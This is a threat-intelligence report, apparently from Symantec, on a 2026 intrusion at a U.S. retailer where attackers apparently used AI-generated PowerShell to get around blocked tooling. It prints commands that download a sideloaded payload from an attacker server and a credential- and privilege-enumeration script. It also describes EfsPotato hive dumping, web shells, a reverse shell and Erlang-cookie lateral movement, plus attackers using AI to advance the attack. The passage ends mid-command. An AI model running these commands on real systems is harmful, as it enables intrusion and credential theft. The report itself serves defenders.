How AI Revived a Stalled Attack on a U.S. Retailer Symantec investigated a September 2026 intrusion against a U.S. retail organization in which attackers, after hand-typed commands containing three typing errors across 110 distinct actions were blocked, switched to AI-generated PowerShell scripts and reached a second server about 10 minutes after first querying the victim's SolarWinds Orion monitoring software. The case is one of dozens of AI-assisted attacks Symantec has investigated since May 2026, with most occurring in September, and the attackers were most likely financially motivated, searching point-of-sale scripts for passwords and contacting an address linked in public reporting to an operation that stole card data from online retailers. Symantec said command timing points to a human operator relaying output to an AI tool rather than an autonomous agent, and no data theft or encryption was observed. How AI Revived a Stalled Attack on a U.S. Retailer After hand-typed commands against a U.S. retailer's web server were blocked, the attackers switched to what appears to be AI-generated commands and began harvesting credentials and moving laterally within minutes. Key findings - A September 2026 intrusion against a U.S. retail organization saw attackers use AI to generate complex commands and revive a failing attack. - This is one of dozens of AI-assisted attacks that Symantec has investigated since May 2026. The majority of this activity occurred in September, so the pace of these attacks has picked up sharply. - On a compromised web server, the attackers first worked by hand. Their commands contained typing errors, and every payload they staged was terminated by security software. - The next day, the commands changed. For almost two hours the attackers submitted long, error-free PowerShell scripts with labelled output sections and, in places, comments that read as a model's reasoning. - The shift in tactics led to a breakthrough for the attackers. About 10 minutes after first querying the victim's SolarWinds Orion monitoring software, the attackers had used a component bundled with it to run commands on a second server. - Timing between commands is more consistent with an operator relaying output to an AI tool than with an autonomous agent. - The attackers were most likely financially motivated. They searched point-of-sale scripts for passwords, and one address they contacted was linked in public reporting to an operation that stole card data from online retailers. Their later theft of domain credentials could also be consistent with preparation for ransomware deployment, although no data theft or encryption was observed. In September 2026, attackers broke into a U.S. retail organization but struggled to progress the intrusion. Overnight their pattern of activity changed, and it was clear that they began using an AI to assist them and find a way around the obstacles thrown in their path. None of the techniques used in this second phase of the attack were new. What changed was how quickly the attackers identified a complex workaround and how reliably it was applied. About 10 minutes after first querying the SolarWinds Orion service on the victim’s server, they had identified an unfamiliar message broker, taken its shared secret and used it to reach another host. Some of the scripts used carried comments that appear to record a model's reasoning, and the timing between commands points to a human operator relaying output to an AI tool rather than an autonomous agent. Targeting The primary victim was a U.S. retail organization. The attackers worked across its internet-facing web server and at least six further servers, most of which ran Microsoft SQL Server. They searched point-of-sale synchronization scripts for stored passwords, which may indicate a focus on retail systems. Symantec also found overlaps in loader files and infrastructure with an August 2026 intrusion at a different organization and a July 2026 intrusion at a securities firm. Neither showed signs of AI assistance. The staging server used in August was the same one used against the retailer, and a reverse proxy tool known as Yuze also appeared on a host at that organization. How the attackers used AI Phase one: hand-typed commands Activity on the web server began on September 21, 2026, with a short burst of discovery commands, followed by a gap of about 12 hours. When it resumed on September 22, the commands showed the marks of manual typing. Across 110 distinct actions there were three typing errors including systemifo and pwoershell , each corrected within seconds, and the command lengths averaged about 45 characters. The attackers re-ran the same blocked loader five times in about 20 minutes with no change of approach. Phase two: AI-generated commands On September 23, the attackers executed around 50 long scripts over roughly two hours. The median script ran to more than 500 characters, over 10 times the length of the hand-typed commands. None of the scripts contained a typing error. Each submission bundled several probes, labelled each result with a banner such as ===FILES MENTIONING CONN STRINGS===, wrapped cmdlets in error handling and capped the amount of output returned. That layout suits a consumer reading results back through a narrow text channel, and it is a common pattern in code generated by large language models LLMs . The strongest evidence of AI usage was in the comments. Several scripts opened with text that stated a hypothesis, cited earlier results and revised a previous conclusion before acting. One recorded that earlier negative results about a server had come from a SOCKS proxy channel known to report false successes, so the conclusion had to be re-measured from a host with a direct route. Human operators do not usually write that kind of deliberation into a one-shot web shell command. An operator in the loop, not an autonomous agent The gap between submissions never fell below seven seconds and longer pauses of two-to-eight minutes came before changes of strategy. There was no scanner-style burst activity and no fixed-interval beaconing. This is consistent with an operator copying output into an AI tool and pasting the next command into the web shell. Symantec assesses the AI assistance with high confidence and the operator-in-the-loop model with moderate confidence. The model or service involved could not be identified. Similar labelled scripts also appeared on September 18, 2026 on three database servers in the same network, so the web server was not the first place the attackers appeared to use AI. Comments disappeared from the data between September 19 and 22 and returned in a different style, which may mean that more than one AI model was in use. Tooling and tradecraft DLL sideloading The attackers downloaded an old, legitimate Bitdefender executable bdreinit.exe with a malicious DLL log.dll and a file named log.txt. The executable loads log.dll from its own folder, and the DLL reads and decrypts the text file, which holds the payload. The pairing has been documented in public reporting by Elastic https://www.elastic.co/security-labs/threat-command/update-to-the-REF2924-intrusion-set-and-related-campaigns and SecureWorks now part of Sophos https://www.sophos.com/en-gb/research/shadowpad-malware-analysis on ShadowPad loaders. However, the bdreinit.exe and log.dll pairing has also been used by several threat actors in different operations, so it does not on its own identify the malware or the actor. A second set used a G DATA signed executable ask.exe with ask.dll and ask.txt. ShadowPad is a modular remote access Trojan RAT that is closely associated with China-based APT groups. It is associated with various threat groups, particularly the APT41-nexus groups such as Blackfly, Grayfly and Redfly. It was documented being used by Glowworm in 2024 https://www.welivesecurity.com/en/eset-research/you-will-always-remember-this-as-the-day-you-finally-caught-famoussparrow/ , which was the first time that group had been observed using the malware. It has more recently been used in attacks where ransomware has been deployed https://www.trendmicro.com/en us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html . Typically, ShadowPad is loaded onto victim networks via DLL sideloading. DLL sideloading is a technique where the attackers use the DLL search order mechanism in Windows to plant and then invoke a legitimate application that executes a malicious DLL payload. Process-tree breaking After repeated terminations, the attackers deployed a utility called BreakChain, which relaunches a target so that it no longer appears as a child of the IIS worker process w3wp.exe . It offers five launch modes and the attackers used two, the WMI and shell modes. About 75 minutes after the first build was blocked, the attackers deployed a second build. Yuze tunnelling tool In the August 2026 intrusion at a different organization, the attackers ran Yuze to connect back to 204.194.49 . 129, the same server later used to stage payloads against the retailer. Yuze is a lightweight, open-source tunnelling tool that supports forward and reverse SOCKS5 proxies. Trend Micro has documented its use by Warlock ransomware attackers https://www.trendmicro.com/en us/research/26/c/dissecting-a-warlock-attack.html , and Warlock is developed by a China-nexus actor Symantec tracks as Longlegs aka Storm-2603 https://www.security.com/threat-intelligence/warlock-ransomware-critical-infrastructure . Because Yuze is publicly available, its presence is not enough on its own to tie this activity to Warlock or Longlegs. Attack chain: Intrusion against a U.S. retail organization The initial infection vector is unknown. The earliest malicious activity took place on September 18, 2026, on three servers within the same organization Computer 1, Computer 2 and Computer 3 , all running Microsoft SQL Server. On each, malicious commands were launched as cmd.exe running directly under sqlservr.exe, which indicates that they were issued through the database service itself, most likely via its xp cmdshell feature. On Computer 2, the commands arrived as multi-part PowerShell scripts in which each section was introduced by a quoted text label, so that a single execution returned a structured report. This layout, together with the very short gaps between submissions, resembles output generated by an LLM rather than commands typed by hand, and it recurs throughout the intrusion. " whoami/priv " whoami /priv " cmdkey " cmdkey /list " RMS service accounts " Get-CimInstance Win32 Service | Where-Object {$ .PathName -match 'RMS|Store|Dynamics'} | Select-Object Name,StartName,PathName | Format-List | Out-String Further scripts searched the point-of-sale synchronization directories for files containing credentials or connection strings. That the attackers went straight to these folders suggests that they had already identified the retail application. The scripts also tested whether the server could reach the internet by opening a TCP connection to 155.254.22 . 215 on port 9458. The attackers repeated this egress test on Computer 1 shortly afterwards. The attackers then built a privilege escalation tool directly on Computer 2. Around 20 consecutive PowerShell commands appended base64-encoded text to a file in a new folder under ProgramData, which was decoded with Certutil and compiled with the .NET C compiler, csc.exe. The source was EfsPotato, a publicly available exploit that abuses the Windows Encrypting File System RPC interface to run commands as SYSTEM. The payload saved the SAM, SYSTEM and SECURITY registry hives, from which an attacker can extract local NTLM password hashes, cached domain credentials and LSA secrets. On September 21 a fourth computer Computer 4 , a Windows web server, appeared. Its malicious commands were launched as cmd.exe under w3wp.exe, which is characteristic of a compromised web application. A short burst of discovery was followed by a gap of about 12 hours. When activity resumed on September 22, the commands showed signs of typing by a person, including the mistyped “systemifo” and “pwoershell,”. The attackers used Invoke-WebRequest to pull bdreinit.exe, log.dll and log.txt from 204.194.49 . 129 on port 8080 into the ProgramData folder: powershell invoke-webrequest 204.194.49.129:8080/log.txt -OutFile CSIDL COMMON APPDATA\log.txt powershell invoke-webrequest 204.194.49.129:8080/log.dll -OutFile CSIDL COMMON APPDATA\log.dll powershell invoke-webrequest 204.194.49.129:8080/bdreinit.exe -OutFile CSIDL COMMON APPDATA\bdreinit.exe Security terminated bdreinit.exe each time, but the attackers launched it roughly five times in less than 20 minutes, directly, through cmd.exe and through PowerShell. They then downloaded a PowerShell script, server.ps1, first from 166.0.25 . 106 and then from 154.81.37 . 136, which indicates fallback infrastructure. The script was an AES-encrypted PowerShell reverse shell that connects back to 166.0.25 . 106 on port 443. For persistent access that did not depend on the original entry point, the attackers also wrote two ASP web shells filemanager.asp and qwdajhsd.asp into the web application's images folder. On September 23 the attackers returned to Computer 4, deleted the earlier files and staged a second side-loading set, ask.exe, ask.dll and ask.txt, launched with a -gdata argument. They also used an executable named mmc.exe, a name that mimics the Microsoft Management Console, as an intermediary to launch the others, presumably to change the parent process. After the launches were again terminated, they deleted the files and downloaded them once more. They then fetched a utility named BreakChainC.exe. Shortly afterwards, the commands changed character again. For nearly two hours they were long, multi-part PowerShell scripts, often only seconds apart, with no typing errors, and labelled sections such as: ===FILES MENTIONING CONN STRINGS===. Each appeared to build on the output of the one before it. The attackers collected credentials from the web server, including: connection strings; the FileZilla Server user database; FileZilla, WinSCP and PuTTY client settings; saved RDP files; IIS configuration, and Windows logon registry values. The attackers then turned to the server's monitoring software. They located the SolarWinds Orion installation, queried its local SQL Server instance for the table of monitored nodes, and read the Zabbix agent's pre-shared key. Using SQL logins and passwords that they already held, they connected to two remote SQL Servers and tested whether each login had the sysadmin role. The next step was lateral movement. The attackers identified the RabbitMQ message broker that ships with Orion and read its Erlang cookie file .erlang.cookie : the shared secret that Erlang nodes use to authenticate to one another. They ran the erl.exe that Orion bundles, with the cookie, to call the RabbitMQ node on a second web server and run an operating system command. About 10 minutes had passed since they first queried the Orion service. The command was encoded as a list of decimal character codes, which does not appear in plain text in the command line: "CSIDL PROGRAM FILESX86\solarwinds\orion\erlang\erts-9.0\bin\erl.exe" -noshell -sname